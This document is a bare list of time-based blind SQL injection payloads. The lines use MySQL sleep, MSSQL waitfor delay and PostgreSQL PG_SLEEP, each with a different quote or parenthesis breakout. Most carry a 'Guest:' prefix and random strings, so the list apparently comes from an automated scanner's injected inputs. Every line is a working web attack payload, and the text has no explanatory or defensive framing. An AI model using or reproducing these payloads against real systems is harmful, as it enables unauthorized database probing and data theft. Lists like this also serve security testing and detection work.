(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:-1; waitfor delay '0:0:15' --

Guest:-1); waitfor delay '0:0:15' --

Guest:-1 waitfor delay '0:0:15' --

Guest:aB2lr71C'; waitfor delay '0:0:15' --

Guest:FWEmNeFi'); waitfor delay '0:0:15' --

Guest:00kE18dl')); waitfor delay '0:0:15' --

Guest:BXpTe0uu' OR 882=(SELECT 882 FROM PG_SLEEP(15))--

Guest:vqHiLHxh') OR 487=(SELECT 487 FROM PG_SLEEP(15))--

Guest:RjEl3fwR')) OR 396=(SELECT 396 FROM PG_SLEEP(15))--